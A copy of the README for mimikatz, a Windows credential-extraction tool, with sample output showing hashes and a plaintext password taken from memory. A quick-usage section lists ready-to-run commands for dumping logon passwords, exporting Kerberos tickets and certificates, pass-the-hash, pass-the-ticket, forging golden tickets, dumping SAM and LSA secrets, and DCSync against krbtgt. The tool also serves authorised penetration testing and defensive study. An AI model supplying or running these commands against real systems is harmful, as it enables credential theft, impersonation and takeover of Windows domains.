· 8 years ago · Feb 07, 2018, 02:34 PM
1# mimikatz
2
3**`mimikatz`** is a tool I've made to learn `C` and make somes experiments with Windows security.
4
5It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. **`mimikatz`** can also perform pass-the-hash, pass-the-ticket or build _Golden tickets_.
6
7```
8 .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)
9 .## ^ ##.
10 ## / \ ## /* * *
11 ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
12 '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
13 '#####' with 13 modules * * */
14
15
16mimikatz # privilege::debug
17Privilege '20' OK
18
19mimikatz # sekurlsa::logonpasswords
20
21Authentication Id : 0 ; 515764 (00000000:0007deb4)
22Session : Interactive from 2
23User Name : Gentil Kiwi
24Domain : vm-w7-ult-x
25SID : S-1-5-21-1982681256-1210654043-1600862990-1000
26 msv :
27 [00000003] Primary
28 * Username : Gentil Kiwi
29 * Domain : vm-w7-ult-x
30 * LM : d0e9aee149655a6075e4540af1f22d3b
31 * NTLM : cc36cf7a8514893efccd332446158b1a
32 * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
33 tspkg :
34 * Username : Gentil Kiwi
35 * Domain : vm-w7-ult-x
36 * Password : waza1234/
37...
38```
39But that's not all! `Crypto`, `Terminal Server`, `Events`, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, _yes_).
40
41If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases
42
43
44## Quick usage
45```
46log
47privilege::debug
48```
49
50### sekurlsa
51```
52sekurlsa::logonpasswords
53sekurlsa::tickets /export
54
55sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
56```
57
58### kerberos
59```
60kerberos::list /export
61kerberos::ptt c:\chocolate.kirbi
62
63kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
64```
65
66### crypto
67```
68crypto::capi
69crypto::cng
70
71crypto::certificates /export
72crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
73
74crypto::keys /export
75crypto::keys /machine /export
76```
77
78### vault & lsadump
79```
80vault::cred
81vault::list
82
83token::elevate
84vault::cred
85vault::list
86lsadump::sam
87lsadump::secrets
88lsadump::cache
89token::revert
90
91lsadump::dcsync /user:domain\krbtgt /domain:lab.local
92```
93
94## Build
95`mimikatz` is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:
96* for `mimikatz` and `mimilib` : Visual Studio 2010, 2012 or 2013 for Desktop (**2013 Express for Desktop is free and supports x86 & x64** - http://www.microsoft.com/download/details.aspx?id=44914)
97* _for `mimikatz driver`, `mimilove` (and `ddk2003` platform) : Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800_
98
99`mimikatz` uses `SVN` for source control, but is now available with `GIT` too!
100You can use any tools you want to sync, even incorporated `GIT` in Visual Studio 2013 =)
101
102### Synchronize!
103* GIT URL is : https://github.com/gentilkiwi/mimikatz.git
104* SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk
105* ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip
106
107### Build the solution
108* After opening the solution, `Build` / `Build Solution` (you can change architecture)
109* `mimikatz` is now built and ready to be used! (`Win32` / `x64`)
110 * you can have error `MSB3073` about `_build_.cmd` and `mimidrv`, it's because the driver cannot be build without Windows Driver Kit **7.1** (WinDDK), but `mimikatz` and `mimilib` are OK.
111
112### ddk2003
113With this optional MSBuild platform, you can use the WinDDK build tools, and the default `msvcrt` runtime (smaller binaries, no dependencies)
114
115For this optional platform, Windows Driver Kit **7.1** (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio **2010** are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.
116
117Follow instructions:
118* http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
119* _http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader_
120
121## Licence
122CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/
123
124## Author
125* Benjamin DELPY `gentilkiwi`, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )
126* DCSync function in `lsadump` module was co-writed with Vincent LE TOUX, you contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )
127
128This is a **personal** development, please respect its philosophy and don't use it for bad things!